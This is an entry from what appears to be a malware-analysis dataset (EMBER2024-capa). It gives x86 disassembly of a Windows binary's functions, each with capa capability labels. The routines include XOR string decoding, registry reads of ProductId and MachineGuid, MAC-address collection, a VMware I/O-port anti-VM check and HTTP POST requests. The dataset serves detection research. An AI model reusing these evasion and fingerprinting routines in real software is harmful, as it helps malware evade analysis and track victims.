joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408178
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1020c
call fcn.00410a30
push ebx
push esi
xor ebx, ebx
mov esi, 0x10000
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 0xc], 3
mov dword [ebp - 4], esi
jne 0x4081b8
push 1
push 0x41f344
push 0xb
call fcn.0040857d
pop ecx
pop ecx
push eax
call fcn.0040672e
pop ecx
mov dword [ebp + 0x14], eax
pop ecx
push esi
lea eax, [ebp - 0x1020c]
push ebx
push eax
call fcn.004109d0
add esp, 0xc
push dword [ebp + 0x14]
push 0x41f530
push 0xb
call fcn.0040857d
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.0041088a
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0xf003f
lea eax, [ebp - 0x20c]
push ebx
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40826d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1020c]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x40826d
cmp byte [ebp + 0x18], bl
je 0x40824b
push dword [ebp - 4]
lea eax, [ebp - 0x1020c]
push eax
call fcn.0040660b
pop ecx
pop ecx
mov eax, dword [ebp - 4]
mov esi, dword [ebp + eax - 0x10210]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x1020c]
push eax
push ebx
call fcn.00403169
add esp, 0xc
cmp esi, eax
je 0x408272
or eax, 0xffffffff
jmp 0x4082a0
mov eax, dword [ebp - 4]
mov esi, dword [ebp + 0x10]
add eax, 0xfffffffc
cmp eax, esi
jl 0x408281
mov eax, esi
push eax
lea eax, [ebp - 0x1020c]
push eax
push dword [ebp + 0xc]
call fcn.00410c40
mov eax, dword [ebp - 4]
add esp, 0xc
add eax, 0xfffffffc
cmp eax, esi
jl 0x4082a0
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4082a4
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x30f54
call fcn.00410a30
push esi
lea eax, [ebp - 0x214]
xor esi, esi
push 0x208
push eax
push esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x41fb74
push 2
call fcn.0040857d
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.00411f82
add esp, 0x10
cmp eax, esi
mov dword [ebp - 4], eax
jne 0x408346
cmp byte [ebp + 0xc], 0
je 0x40841d
call fcn.00411117
push dword [eax]
call fcn.00411054
pop ecx
push eax
call fcn.00411117
push dword [eax]
lea eax, [ebp - 0x214]
push eax
push 0x420670
push 0x28
call fcn.0040857d
pop ecx
pop ecx
push eax
push esi
push 0x41f5e8
push 7
call fcn.0040857d
pop ecx
pop ecx
push eax
call fcn.00407c97
add esp, 0x18
jmp 0x40841d
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x80
push dword [ebp + 8]
call ebx
push 0x42066c
push dword [ebp + 8]
call fcn.00411f82
pop ecx
cmp eax, esi
pop ecx
mov dword [ebp - 8], eax
jne 0x4083b8
cmp byte [ebp + 0xc], 0
je 0x40840c
call fcn.00411117
push dword [eax]
call fcn.00411054
pop ecx
push eax
call fcn.00411117
push dword [eax]
push dword [ebp + 8]
push 0x420640
push 0x28
call fcn.0040857d
pop ecx
pop ecx
push eax
push esi
push 0x41f5e8
push 7
call fcn.0040857d
pop ecx
pop ecx
push eax
call fcn.00407c97
add esp, 0x18
jmp 0x40840c
push edi
mov esi, 0x30d40
push dword [ebp - 4]
lea eax, [ebp - 0x30f54]
push esi
push 1
push eax
call fcn.00411e3a
add esp, 0x10
push dword [ebp - 8]
mov edi, eax
test edi, edi
jle 0x408405
push edi
lea eax, [ebp - 0x30f54]
push 1
push eax
call fcn.00411c84
push dword [ebp - 4]
add dword [ebp - 0xc], edi
lea eax, [ebp - 0x30f54]
push esi
push 1
push eax
call fcn.00411e3a
add esp, 0x20
jmp 0x4083d3
call fcn.00411dbd
pop ecx
pop edi
push dword [ebp - 4]
call fcn.00411dbd
pop ecx
push 7
push dword [ebp + 8]
call ebx
pop ebx
pop esi
leave
ret

Function at 0x4084ca
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x42d218], 0
push esi
mov esi, 0x42d218
jne 0x408578
lea eax, [ebp - 4]
mov dword [ebp - 0xc], 1
push eax
push 0x20019
push 0
push 0x4201a4
push 0x29
mov dword [ebp - 8], 0x200
call fcn.0040857d
pop ecx
pop ecx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x408532
push 0x42019c
push 4
call fcn.0040857d
push eax
push esi
call fcn.004108e0
add esp, 0x10
jmp 0x408578
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push esi
push eax
push 0
push 0x420190
push 9
call fcn.0040857d
pop ecx
pop ecx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40856f
push 0x42019c
push 4
call fcn.0040857d
push eax
push esi
call fcn.004108e0
add esp, 0x10
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret
Function at 0x40857d
Capabilities:
Encode data using xor

Disassembly:
push ecx
cmp dword [0x42d418], 0
push esi
push edi
mov edi, 0x42d200
jne 0x40859f
push edi
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
mov dword [0x42d418], 1
push edi
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov esi, dword [esp + 0x10]
and dword [esp + 8], 0
test esi, esi
jle 0x4085fb
mov eax, dword [0x42e834]
push ebx
push ebp
push 0xa
cdq
pop ebx
mov ecx, dword [esp + 0x1c]
idiv ebx
mov edi, esi
sub edi, ecx
shl edx, 9
lea ebx, [edx + 0x42d41c]
lea eax, [edi + ecx]
push 0x20
cdq
pop ebp
idiv ebp
mov al, byte [edx + 0x4206c0]
mov edx, dword [esp + 0x10]
xor al, byte [ecx]
inc dword [esp + 0x10]
inc ecx
cmp dword [esp + 0x10], esi
mov byte [ebx + edx], al
jl 0x4085d1
pop ebp
mov edi, 0x42d200
pop ebx
mov eax, dword [0x42e834]
push 0xa
cdq
pop ecx
idiv ecx
push edi
shl edx, 9
and byte [edx + esi + 0x42d41c], 0
inc dword [0x42e834]
lea esi, [edx + 0x42d41c]
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov eax, esi
pop edi
pop esi
pop ecx
ret

Function at 0x40862a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
xor ebx, ebx
push esi
mov dword [eax], ebx
mov eax, dword [ebp + 0x14]
push edi
mov dword [ebp - 0xc], ebx
mov dword [eax], ebx
lea eax, [ebp - 0xc]
push eax
push 0x20019
push ebx
mov byte [ebp - 1], bl
push dword [ebp + 8]
mov dword [ebp - 8], ebx
push dword [ebp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408708
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 8]
push ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x408708
cmp dword [ebp + 8], 3
jne 0x408708
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 8]
push esi
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4086c7
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
jmp 0x408708
cmp byte [ebp + 0x18], bl
je 0x4086d7
push dword [ebp - 8]
push esi
call fcn.0040871e
pop ecx
pop ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + esi - 4]
add eax, 0xfffffffc
push eax
push esi
push ebx
mov dword [ebp + 0x18], ecx
call fcn.0040ab2b
add esp, 0xc
cmp dword [ebp + 0x18], eax
jne 0x4086ba
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
mov byte [ebp - 1], 1
mov dword [eax], esi
mov eax, dword [ebp - 8]
add eax, 0xfffffffc
mov dword [ecx], eax
cmp dword [ebp - 0xc], ebx
pop edi
pop esi
pop ebx
je 0x408719
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 1]
leave
ret
Function at 0x408eb9
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
mov esi, dword [ebp + 8]
push ebx
push ebx
push ebx
lea eax, [ebp + 8]
push ebx
push eax
push ebx
push ebx
push 0x4208f8
mov byte [esi], bl
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
test eax, eax
jne 0x408ee0
mov byte [esi], bl
push dword [ebp + 8]
push 0x4208f4
push esi
call fcn.0041088a
add esp, 0xc
pop esi
pop ebx
pop ebp
ret

Function at 0x408ef5
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], 0x280
and byte [edi], 0
push dword [ebp - 4]
call fcn.004121b1
mov ebx, eax
xor esi, esi
cmp ebx, esi
pop ecx
je 0x408f45
push dword [ebp - 4]
push esi
push ebx
call fcn.004109d0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push ebx
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x408f41
push ebx
call fcn.004120c8
pop ecx
jmp 0x408f0b
cmp eax, esi
je 0x408f4a
and byte [edi], 0
jmp 0x408f9b
mov al, byte [0x41f5b8]
lea edi, [ebp - 0xb]
mov byte [ebp - 0xc], al
xor eax, eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
movzx eax, byte [esi + ebx + 0x194]
test esi, esi
push eax
jbe 0x408f6f
push str.__.2X
jmp 0x408f74
push str._.2X
lea eax, [ebp - 0xc]
push eax
call fcn.0041088a
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.004108f0
inc esi
pop ecx
cmp esi, 6
pop ecx
jb 0x408f4a
push ebx
call fcn.004120c8
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408fa0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, 0x200
push edi
push eax
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], eax
call fcn.004121b1
mov esi, dword [ebp + 8]
mov edi, eax
pop ecx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
mov byte [esi], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x409002
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push edi
push eax
push ebx
push str.ProductId
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x409006
mov byte [esi], bl
jmp 0x40901f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push esi
call fcn.004108e0
push edi
call fcn.004120c8
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409070
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10008
call fcn.00410a30
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], 0xffff
mov byte [esi], bl
call fcn.00409024
test eax, eax
jne 0x4090d6
lea eax, [ebp + 8]
push eax
push 0x20019
push ebx
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4090d6
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10008]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push str.MachineGuid
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4090da
mov byte [esi], bl
jmp 0x4090ef
lea eax, [ebp - 0x10008]
push eax
push 0x420880
push esi
call fcn.0041088a
add esp, 0xc
pop esi
pop ebx
leave
ret
Function at 0x40953c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
or dword [ebp - 0xc], 0xffffffff
push esi
lea eax, [ebp - 0x10]
push edi
xor esi, esi
push eax
push 0x20019
push esi
mov edi, 0x104
push 0x420c4c
push 0x49
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x14], esi
call fcn.0040857d
pop ecx
pop ecx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x409720
lea eax, [ebp - 0x28]
push ebx
push eax
push esi
push esi
lea eax, [ebp - 0x18]
push esi
push eax
lea eax, [ebp - 0x134]
push eax
push esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ebx, eax
cmp ebx, esi
jne 0x40970e
push 0x420c44
push 6
call fcn.0040857d
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.004108e0
lea eax, [ebp - 0x134]
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.004108f0
push 0x420c34
push 0xf
call fcn.0040857d
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.004108f0
add esp, 0x28
lea eax, [ebp - 4]
mov ebx, 0x80000000
push eax
push 1
lea eax, [ebp - 0x23c]
push esi
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4096b5
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x344]
push eax
lea eax, [ebp - 0x2c]
push eax
push esi
push 0x41f5b8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4096b5
lea eax, [ebp - 0x44c]
push edi
push eax
lea eax, [ebp - 0x344]
push eax
call fcn.00408acf
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x409695
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x44c]
push ecx
mov eax, dword [eax]
push eax
push eax
call fcn.00410a60
pop ecx
push eax
call fcn.0040857d
pop ecx
pop ecx
push eax
call fcn.00413190
pop ecx
test eax, eax
pop ecx
je 0x4096b5
add dword [ebp - 8], 4
mov eax, dword [ebp - 8]
jmp 0x409660
push esi
push esi
push 3
push esi
push 3
lea eax, [ebp - 0x344]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x4096b5
inc dword [ebp - 0x14]
cmp dword [ebp - 4], esi
je 0x4096c6
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 4], esi
cmp dword [ebp - 0xc], 0xffffffff
je 0x4096d9
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or dword [ebp - 0xc], 0xffffffff
inc dword [ebp - 0x1c]
push 0x105
lea eax, [ebp - 0x134]
push esi
push eax
mov dword [ebp - 0x18], edi
call fcn.004109d0
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push esi
push esi
lea eax, [ebp - 0x18]
push esi
push eax
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x1c]
jmp 0x4095a4
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp ebx, 0x103
pop ebx
je 0x409726
or ax, 0xffff
jmp 0x40972a
mov ax, word [ebp - 0x14]
pop edi
pop esi
leave
ret
Function at 0x409858
Capabilities:
Get networking parameters

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420cc0
push 0x413444
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov byte [ebp - 0x1c], bl
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x20]
push eax
push ebx
call sub.iphlpapi.dll_GetNetworkParams
mov dword [ebp - 0x24], eax
cmp eax, 0x6f
jne 0x409940
push dword [ebp - 0x20]
call fcn.004119f5
mov esi, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], esi
push dword [ebp - 0x20]
push ebx
push esi
call fcn.004109d0
add esp, 0x10
mov dword [ebp - 0x28], esi
lea eax, [ebp - 0x20]
push eax
push esi
call sub.iphlpapi.dll_GetNetworkParams
mov dword [ebp - 0x24], eax
cmp eax, ebx
je 0x4098d3
mov dword [ebp - 0x38], esi
push esi
jmp 0x40993a
lea edi, [esi + 0x108]
cmp dword [edi], ebx
je 0x409900
push 0x420cac
push 0xc
call fcn.0040857d
push eax
mov eax, dword [edi]
add eax, 4
push eax
call fcn.00413190
add esp, 0x10
test eax, eax
jne 0x409900
mov byte [ebp - 0x1c], 1
cmp byte [ebp - 0x1c], bl
jne 0x409933
add esi, 0x10c
mov dword [ebp - 0x30], esi
cmp esi, ebx
je 0x409933
push 0x420cac
push 0xc
call fcn.0040857d
push eax
lea eax, [esi + 4]
push eax
call fcn.00413190
add esp, 0x10
test eax, eax
jne 0x40994b
mov byte [ebp - 0x1c], 1
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
push eax
call fcn.004116b3
pop ecx
or dword [ebp - 4], 0xffffffff
call fcn.0040994f
jmp 0x409950
mov esi, dword [esi]
jmp 0x40990b
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4099df
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420ce0
push 0x413444
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
and dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x409a3f
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409a55
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x41ea10
call fcn.00411694
sub esp, 0x42c
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0x10], eax
call esi
cmp dword [ebp - 0x10], ebx
je 0x409b09
push 1
push dword [ebp + 8]
call fcn.00410a60
push dword [ebp + 0xc]
mov edi, eax
call fcn.00410a60
pop ecx
lea eax, [edi + eax + 0x20]
pop ecx
push eax
call fcn.004132fe
mov edi, eax
push 0x420d34
push 7
mov dword [ebp - 0x18], edi
call fcn.0040857d
push eax
push edi
call fcn.004108f0
push dword [ebp + 8]
push edi
call fcn.004108f0
push 0x420d40
push edi
call fcn.004108f0
push dword [ebp + 0xc]
push edi
call fcn.004108f0
add esp, 0x30
push ebx
push ebx
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp + 8], eax
call esi
cmp dword [ebp + 8], ebx
jne 0x409b10
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call fcn.004120c8
pop ecx
call esi
jmp 0x409bf2
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 1
mov byte [ebp - 0x28], al
call fcn.0040256e
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x438]
push 0x400
push eax
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call edi
test eax, eax
je 0x409bac
mov eax, dword [ebp - 0x14]
cmp eax, ebx
jbe 0x409bac
mov dword [ebp + 0xc], eax
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x38], al
call fcn.0040256e
push dword [ebp + 0xc]
lea eax, [ebp - 0x438]
lea ecx, [ebp - 0x38]
push eax
call fcn.00402731
push dword [0x41f61c]
lea eax, [ebp - 0x38]
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
push ebx
push eax
call fcn.00409dbc
push 1
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], bl
call fcn.0040256e
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x438]
push 0x400
push eax
push dword [ebp + 8]
jmp 0x409b42
call esi
mov eax, dword [ebp - 0x24]
cmp eax, ebx
jne 0x409bba
mov eax, 0x41f614
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00413260
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 0xc
push dword [ebp + 8]
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x18]
call fcn.004120c8
or dword [ebp - 4], 0xffffffff
pop ecx
push 1
lea ecx, [ebp - 0x28]
call fcn.0040256e
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x409c1b
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 0x14], 0x420d3c
mov dword [ebp - 0x10], ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 4], edi
je 0x409d56
push ebx
push ebx
push 3
push ebx
push dword [ebp + 8]
push 0x50
push dword [ebp + 8]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 8], esi
jne 0x409c74
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x409d56
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], bl
push 0x420d34
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 7
stosb byte es:[edi], al
call fcn.0040857d
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.004108f0
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push eax
call fcn.004108f0
push dword [ebp + 0xc]
lea eax, [ebp - 0x114]
push eax
call fcn.004108f0
add esp, 0x20
lea eax, [ebp - 0x14]
push ebx
push 0x84600200
push eax
lea eax, [ebp - 0x114]
push eax
push str.HTTP_1.1
push dword [ebp + 0xc]
push str.POST
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
cmp edi, ebx
mov dword [ebp + 8], edi
jne 0x409d02
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call edi
push dword [ebp - 4]
call edi
jmp 0x409d56
mov esi, str.Content_type:_application_x_www_form_urlencoded_n
push 0xa0000000
push esi
call fcn.00410a60
pop ecx
push eax
push esi
push edi
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
je 0x409d43
push dword [ebp + 0x10]
call fcn.00410a60
push dword [ebp + 0x10]
call fcn.00410a60
pop ecx
pop ecx
push eax
push dword [ebp + 0x10]
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x409d5e
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 8]
call esi
push dword [ebp - 4]
call esi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x409db7
mov edi, dword [ebp + 0x18]
xor esi, esi
mov dword [ebp - 0xc], 1
mov eax, dword [edi]
cmp eax, ebx
jbe 0x409d98
lea ecx, [ebp - 0xc]
sub eax, esi
push ecx
push eax
mov eax, dword [ebp + 0x14]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x409d98
cmp dword [ebp - 0xc], ebx
jbe 0x409d98
add esi, dword [ebp - 0xc]
mov eax, dword [edi]
cmp esi, eax
jb 0x409d70
mov eax, dword [ebp + 0x14]
push dword [ebp + 8]
mov dword [edi], esi
mov byte [esi + eax], bl
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 8]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a9b8
Capabilities:
Hash data with md5

Disassembly:
push esi
mov esi, ecx
push pe_nt_image_headers32
push 0
push esi
call fcn.004109d0
and dword [esi + 0x44], 0
and dword [esi + 0x40], 0
add esp, 0xc
mov dword [esi + 0x48], 0x67452301
mov dword [esi + 0x4c], 0xefcdab89
mov dword [esi + 0x50], 0x98badcfe
mov dword [esi + 0x54], 0x10325476
mov eax, esi
pop esi
ret

Function at 0x40ab2b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 0xc], ecx
not eax
jbe 0x40ab60
push esi
mov edx, dword [esp + 0xc]
mov esi, eax
and esi, 0xff
movzx edx, byte [ecx + edx]
xor edx, esi
shr eax, 8
mov edx, dword [edx*4 + 0x4255d0]
xor eax, edx
inc ecx
cmp ecx, dword [esp + 0x10]
jb 0x40ab3a
pop esi
not eax
ret